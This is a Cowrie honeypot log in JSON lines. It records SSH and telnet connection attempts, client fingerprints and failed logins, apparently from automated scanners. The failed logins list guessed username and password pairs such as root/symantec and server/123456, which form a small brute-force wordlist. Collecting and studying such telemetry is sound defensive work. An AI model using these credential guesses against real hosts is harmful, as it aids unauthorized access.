{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59644,"dst_ip":"10.17.0.5","dst_port":23,"session":"a376d6cb765d","protocol":"telnet","message":"New connection: 152.42.224.71:59644 (10.17.0.5:23) [session: a376d6cb765d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:39.865761Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:40.551679Z","src_ip":"176.65.132.129","session":"3ee30a46f3be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59654,"dst_ip":"10.17.0.5","dst_port":23,"session":"45778b0b5770","protocol":"telnet","message":"New connection: 152.42.224.71:59654 (10.17.0.5:23) [session: 45778b0b5770]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:41.858975Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60490,"dst_ip":"159.203.135.109","dst_port":22,"session":"55c6c72c3c78","protocol":"ssh","message":"New connection: 176.65.132.129:60490 (159.203.135.109:22) [session: 55c6c72c3c78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:42.367816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:42.372655Z","src_ip":"176.65.132.129","session":"55c6c72c3c78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:42.454798Z","src_ip":"176.65.132.129","session":"55c6c72c3c78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:42.701488Z","src_ip":"176.65.132.129","session":"55c6c72c3c78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0019850730896,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:43.628323Z","src_ip":"152.42.224.71","session":"94aec19ca0f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:43.786328Z","src_ip":"176.65.132.129","session":"55c6c72c3c78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.250.100","src_port":60146,"dst_ip":"10.17.0.5","dst_port":22,"session":"c205b7d34403","protocol":"ssh","message":"New connection: 20.193.250.100:60146 (10.17.0.5:22) [session: c205b7d34403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:44.287850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:44.292498Z","src_ip":"20.193.250.100","session":"c205b7d34403","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:44.498420Z","src_ip":"20.193.250.100","session":"c205b7d34403","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"symantec","message":"login attempt [root/symantec] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:45.342693Z","src_ip":"20.193.250.100","session":"c205b7d34403","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54968,"dst_ip":"159.203.135.109","dst_port":22,"session":"931bfbe754b9","protocol":"ssh","message":"New connection: 176.65.132.129:54968 (159.203.135.109:22) [session: 931bfbe754b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:45.769657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:45.774284Z","src_ip":"176.65.132.129","session":"931bfbe754b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:45.856504Z","src_ip":"176.65.132.129","session":"931bfbe754b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ecs-user","password":"ecs-user","message":"login attempt [ecs-user/ecs-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:46.101635Z","src_ip":"176.65.132.129","session":"931bfbe754b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00113272666931,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:46.258969Z","src_ip":"152.42.224.71","session":"6db8fa0fb468","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:46.546877Z","src_ip":"20.193.250.100","session":"c205b7d34403","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:47.186979Z","src_ip":"176.65.132.129","session":"931bfbe754b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54990,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c95cc004cb9","protocol":"ssh","message":"New connection: 176.65.132.129:54990 (159.203.135.109:22) [session: 2c95cc004cb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:48.974847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:48.979398Z","src_ip":"176.65.132.129","session":"2c95cc004cb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:49.061514Z","src_ip":"176.65.132.129","session":"2c95cc004cb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"123456","message":"login attempt [server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:49.309272Z","src_ip":"176.65.132.129","session":"2c95cc004cb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:50.394687Z","src_ip":"176.65.132.129","session":"2c95cc004cb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49726,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cb531570d0d","protocol":"telnet","message":"New connection: 152.42.224.71:49726 (10.17.0.5:23) [session: 1cb531570d0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:51.819292Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55012,"dst_ip":"159.203.135.109","dst_port":22,"session":"74bb652287f2","protocol":"ssh","message":"New connection: 176.65.132.129:55012 (159.203.135.109:22) [session: 74bb652287f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:52.208891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:52.213473Z","src_ip":"176.65.132.129","session":"74bb652287f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:52.299523Z","src_ip":"176.65.132.129","session":"74bb652287f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345","message":"login attempt [user1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:52.544992Z","src_ip":"176.65.132.129","session":"74bb652287f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.152.132.24","src_port":36248,"dst_ip":"159.203.135.109","dst_port":22,"session":"2787bd3bfb38","protocol":"ssh","message":"New connection: 82.152.132.24:36248 (159.203.135.109:22) [session: 2787bd3bfb38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:53.122351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:53.126041Z","src_ip":"82.152.132.24","session":"2787bd3bfb38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:53.251557Z","src_ip":"82.152.132.24","session":"2787bd3bfb38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:53.629597Z","src_ip":"176.65.132.129","session":"74bb652287f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123!@#","message":"login attempt [root/root123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:53.786445Z","src_ip":"82.152.132.24","session":"2787bd3bfb38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:54.915918Z","src_ip":"82.152.132.24","session":"2787bd3bfb38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55026,"dst_ip":"159.203.135.109","dst_port":22,"session":"061ca1d23276","protocol":"ssh","message":"New connection: 176.65.132.129:55026 (159.203.135.109:22) [session: 061ca1d23276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:55.536796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:55.544908Z","src_ip":"176.65.132.129","session":"061ca1d23276","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:55.621685Z","src_ip":"176.65.132.129","session":"061ca1d23276","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root2","password":"123456","message":"login attempt [root2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:56.058514Z","src_ip":"176.65.132.129","session":"061ca1d23276","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":14984,"dst_ip":"159.203.135.109","dst_port":22,"session":"867a7e88755b","protocol":"ssh","message":"New connection: 38.93.206.2:14984 (159.203.135.109:22) [session: 867a7e88755b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:56.121996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:56.128042Z","src_ip":"38.93.206.2","session":"867a7e88755b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:56.179509Z","src_ip":"38.93.206.2","session":"867a7e88755b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"taurus","message":"login attempt [root/taurus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:56.346136Z","src_ip":"38.93.206.2","session":"867a7e88755b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00106072425842,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:47:56.667227Z","src_ip":"152.42.224.71","session":"6c970db4a760","protocol":"telnet"}
